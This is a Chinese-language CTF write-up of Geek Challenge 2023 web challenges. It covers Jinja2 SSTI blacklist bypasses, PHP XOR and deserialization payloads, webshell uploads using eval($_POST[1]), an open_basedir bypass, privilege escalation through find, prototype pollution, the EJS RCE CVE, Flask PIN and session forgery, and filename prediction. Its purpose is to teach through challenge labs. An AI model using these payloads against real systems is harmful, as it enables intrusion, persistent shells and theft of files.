前言
记录一些在Geek Challenge 2023比赛中的wp;一部分写的比较详细,一部分写的比较简单,根据题目的难易度来的;
klf_2
源码
再比赛中是看不到源码的,是我后来可以rce后,cat app.py得到源码的,为了方便写wp,就贴一下
1 | from flask import Flask, request, render_template, render_template_string,send_from_directory |
黑名单过滤了一大部分关键字和关键符号。但是没有.
,join
过滤器,dict
,=
,()
,set
,|
,attr
.还是有机可乘的
构造关键字
这一部分就是构造出关键字
1 | ().__class__.__base__.__subclasses__().__getitem__(xx).__init__.__globals__['popen'](xx).read() |
1 | {% set po=dict(po=a,p=b)|join%} |
构造cmd
再上一步的基础上,构造ls
:
1 | {% set po=dict(po=a,p=b)|join%} |
看到flag没有再当前目录下,尝试构造 ls /
,这时候就需要在上一步的基础上,需要构造空格和反斜杠字符
,/
,
构造空格
空格很容易构造,在()|select|string|list)
就有许多空格,,这里大概解释一下**()|select|string|list)**这种形式是什么意思,管道符,前一个输出当作后一个输入,就像list(string(select(())))
构造反斜杠
思路一
()|select|string|list)中没有反斜杠,那么就想一下:还有其他关键字可以以这种形式构造字符吗?,而其他关键字构造的字符下可能有我们需要的反斜杠,答案是肯定的
还有很多
config|string|list
request|string|list
lipsum|string|list
- ……
比如config和request下就有反斜杠,但是被黑名单了,我这里暂时还没有找到其他不太黑名单下有可以构造反斜杠的,只能换思路了
思路二
利用格式字符串得到反斜杠,
1 | {%set fxg=("%c"%(47))%} |
要利用格式字符串需要用到百分号,那么需要构造百分号:将字符url编码取第一个字符,第一个字符肯定是%
,
1 | {% set bfh = ()|select|string|urlencode|first %} |
而然并没有我想的那么简单,url
居然被过滤了,这种思路又无法用了
思路三
回顾一下,
我们是想要得到反斜杠;
我们已经可以在当前目录下执行命令了,上面展示的就有
ls
;
突然想起来当前目录有app.py文件,用的是flask框架,肯定会有路由,有路由肯定会用到反斜杠;现在思路比较简单了:从app.py文件中得到反斜杠;
列如下段flask代码中肯定会存在反斜杠:
1 |
|
需要cat app.py
,字母和空格都有了,现在构造.
又成了一个难点,但还是有方法的
1 | {%print(g)%} |
ok,这样所需要的字符都构造出来了,剩下的就是利用了
exp
1 | {% set po=dict(po=a,p=b)|join%} |
EzRce
1 |
|
先用bp fuzz一下,看看过滤了什么,发现异或符号没有过滤,而且有几个字母没有过滤
下面是上了木马才得到源码的
1 |
|
异或上🐎
因为没有过滤异或所以构造phpinfo(); : (“^@^@@[@”^”.(.).=/“)();
发现是可以成功显示phpinfo内容,但是查看disable_functions禁用了一些函数,但是没有禁用file_put_contents函数,尝试写一句话木马上去
1 | file_put_content("lll.php","<?php eval($_POST[1])?>") |
发现也是成功上传了木马,用蚁剑连shell(这里有一个坑,https没有成功,用http代替就可以了)
提权
可以看到flag就在根目录下,但是没有权限读取,whoami 查看当前用户www-data,去网上搜一次关于提权的知识,
提权的方法有很多,这道题考的是find提权,
1 | which find |
到这里flag就已经到手了,踩了很多坑,还有一些坑没有写上了,也是拿了一个三血,下面是异或的脚本
1 | valid = "alevALEV!@$%^*()[];\'\",.<>/?-=_` " |
ezpython
源码
1 | import json |
考察原型链污染和python的int函数漏洞,其实int不止在python里有这个漏洞,其他语言也有,比如php也有;
标志着原型链污染
1 | def merge(src, dst): |
虽然代码一共有100多行,但是整个代码的逻辑和实现的功能是非常简单易懂的
使得hhh类的isvip为真,但是hhh没有isvip属性,很明显就是需要污染hhh类,
example
先看一个python原型链污染的简单案例吧
1 | class father: |
pollute
然后下面是我自己本地测试的结果
1 | import json |
这里用unicode编码绕过waf,json.load会自动进行unicode解码,
绕后就是绕过
1 | if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10: |
这里比较简单了用空格或者字符“+”或者0,这里将0禁止了用前面两者就行,
1 | ?=%20123456789 |
雨
根据hint secret_key是出题人的id:VanZY(我当时没看hint,用脚本也可以爆破出来),然后伪造jwt,得到源码
1 | const express = require('express'); |
代码比较简单,一看就是需要某种权限才能执行某些命令,nodejs原型链污染的老套路了
1 | if (Super['userrole'] === 'Superadmin') { |
在这里,需要Super[‘userrole’]的值为Superadmin,但是整个代码也没有涉及到可以让Super[‘userrole’]的值为Superadmin的地方,但是凭空多出来一个code路由,putil_merge函数和merge函数,基本可以确定这里有问题了
1 | app.all('/code', (req, res) => { |
上网搜索putil_merge函数,发现确实存在原型链污染
1 | const putil_merge = require('putil-merge'); |
改成
要改成application/json
1 | GET :/code |
1 | POST:{"constructor": {"prototype": {"userrole": "Superadmin"}}} |
将Super[‘userrole’]的值改为Superadmin,就有权限执行:
1 | res.render('index', req.body); |
这里是一个cve,可以参考这位大佬
影响版本:ejs <= v3.1.9 (最新版本
1 | { |
ez_remove
1 |
|
利用十六进制要绕过正则匹配
1 | lover ==> \6cover |
利用gc回收绕过异常
1 | O:3:"syc":1 ==> O:3:"syc":2 |
写入一句话木马,这里需要注意的是要将小写s转变大写S ,才能解析十六进制
1 | ?web=O:3:"syc":2:{S:5:"\6cover";s:53:"file_put_contents('2.php','<?php @eval($_POST[1]);');";} |
写入木马 ,发现无法正常执行shell命令,读取phpinfo查看disable_functions
发现禁用了函数system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen
还有open_basedir: /var/www/html/
绕过open_basedir: ini_set用来设置php.ini的值,无需打开php.ini文件,就能修改配置
1 | mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');show_source("f1ger"); |
ez_path(os.path.join)
1 | # uncompyle6 version 3.8.0 |
代码比较简单,就一个写和看的功能
漏洞点在:os.path.join函数没有对路径做很好的处理,将最后一个反斜杠看作路径的开头,所以可以任意文件泄露
然后发现debug=True,那思路就很明显了,通过os.path.join函数泄露文件计算pin码
1 | # sha1 |
you konw flask?
robots.txt泄露了3ysd8.html
访问3ysd8.html得到:
1 | <!-- key是 app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao' (www,我可爱的菀宝,我存的够安全的吧) --> |
1 | import base64 |
1 | PS D:\Project> flask-unsign --unsign --cookie "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ0ZXN0IiwidXNlcl9pZCI6Mn0.ZUoT_Q.rZAY3c8K33S38x_AydOHdOh4ozQ" --wordlist ./test/ctf_web/dict.txt |
1 | python3 flask_session_cookie_manager3.py encode -s "wanbaoMzU=wanbao" -t "{'is_admin': True, 'name': 'admin', 'user_id': 1}" |
Pupyy_rce(无参RCE)
1 | print_r(scandir(current(localeconv()))); |
flag.php文件在中间,不能像平常一样
通过unlink使得flag.php是倒数第二个文件在读取就ok了
1 | unlink(end(scandir(current(localeconv())))); |
补充:
有几率可以查看根目录,strrev(crypt(serialize(array())))所获得的字符串第一位有几率是
/
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
ez_php
源码
1 |
|
虽然代码看起来比较长,但是还是比较好分析的,pop链也很容易看出来。需要用到两次pop链,第一条用来得到key.php的内容,第二次才是得到flag
1 | unserialize -> useless(__destruct) -> useless(readfile) |
/^[Oa]:[\d]+/i
第一次遇到这种情况,单独拿出来讲一下:
挺早之前我就知道使用C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容,这次比赛学到了种新方法,就是把正常的反序列化进行一次打包,让最后生成的payload以C开头即可
1 |
|
不能直接将字母O改成字母C,这里我们可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头
1 |
|
7.3.4才可以输出以C开头的payload,换7.4或者8.0输出的就是O开头了,除了这个函数还有其他方法可以对payload进行包装
实现了unserialize接口的大概率是C打头,经过所有测试发现可以用的类为:
- ArrayObject::unserialize
- ArrayIterator::unserialize
- RecursiveArrayIterator::unserialize
- SplObjectStorage::unserialize
pop_one
str_shuffle:随机地打乱字符串中的所有字符
用原生类绕过md5,and的优先级要低于=,basename用ascii编码大于127绕过,$_SERVER是一个数组,可以自己打印看看
1 |
|
最终得到一段加密的数据,太长了我就不贴了,将数据base64解密保存成图片,得到key和hername
pop_two
1 |
|
这条pop链踩了坑,第一就是,对象里只写属性值,不要再写其他的不然会有影响;
__sleep: 该函数必须返回一个需要进行序列化保存的成员属性数组 //并且只序列化该函数返回的这些成员属性
__get: 获得一个类中不可访问的成员变量时(未定义或私有属性)
在PHP中,你可以使用可调用的数组来将对象的方法赋值给变量。这可以通过将对象和方法名作为数组的元素来实现。以下是一个示例:
1 | class MyClass { |
这条链有意思,使得将her对象的find函数赋值给useless对象的seeyou变量,然后$this->good不用管,$this->good为空,会执行$good().$good
是由important对象传过来的seeyou
,而seeyou已经被赋值为了her对象的find函数,就会去执行find函数,
再用data协议绕过,
1 | file=data:text/plain;base64,bG92ZXlvdQ== |
再用原生类绕过,这道题用了两次php原生类。
GlobIterator
得到flag的文件名和路径.SplFileObject读文件,只能读取文件的第一行内容,配合php://filter
拿到文件所有内容
1 | GET :fun=./f* |
Akane!
source code
1 |
|
考的序列化,pop链也足够明显 :,
1 | Hoshino(__destruct) -> Idol(__call) |
但是没有找到任何可以命令执行的地方,然后我就去dirsearch ,也没有任何东西;
再仔细分析源码,pop链肯定是固定的这一点不用想,分析分析__call
到底在干什么?
scandir
列出 $this->Akane 目录中的文件和目录,返回的是一个数组count
返回数组中元素的数目- glob:// — 查找匹配的文件路径模式
Example
1 |
|
1 | http://127.0.0.1/test002.php?file=glob://f* |
exp
1 | import requests |
访问TheS4crEtF1AgFi1EByo2takuXX.php得到flag
klf_3
source code
再比赛中是看不到源码的,是我后来可以rce后,cat app.py得到源码的,为了方便写wp,就贴一下
1 | import re |
还是可以用klf_2的解法解决,不可以用“))”,只需要从klf_2的exp改一下就好了,也是侥幸拿了一个一血
poc
1 | {% set po=dict(po=a,p=b)|join%} |
famale_imp_l0ve
只能上传zip文件,而且存在一处文件包含,限制了后缀必须为.jpg
;这题的php环境是5.6;\x00
的截断在php>5.3.4就没用了
1 |
|
在php中 zip://test.zip#1.png是什么意思?
在PHP中,zip://test.zip#1.png是一种URL封装协议,它允许你像访问本地文件一样访问ZIP存档中的文件。在这个例子中,zip://表示使用ZIP协议,test.zip是ZIP存档的文件名,#1.png表示存档中的文件路径。因此,zip://test.zip#1.png意味着你正在引用test.zip存档中的1.png文件。
新建一个文件 1.jpg
图片内容即可为需要执行的命令,如<?php eval($_POST[1]); ?>
打包成zip
即include.php?file=zip://upload/3.zip%231.jpg
change_it
source code
1 | <!-- |
登陆之后没有权限上传文件,查看cookie是一段jwt加密,没什么好说的直接用工具跑出key
1 | key : "yibao" |
现在有权限上传任意文件了,但是只知道文件上传在upload下,不知道文件名,查看源代码
1 | function php_mt_seed($seed) |
这代码很明显了,只要知道time的时间戳,既可以知道文件名,
poc
解释一下我的脚本:设置一个十秒的时间戳,在这十秒之内上传一个文件必定可以中一个文件的时间戳
1 |
|
运行这个脚本,在十秒之内上传一个木马文件即可,然后脚本会根据十个时间戳输出十个文件名,其中必定会中一个文件名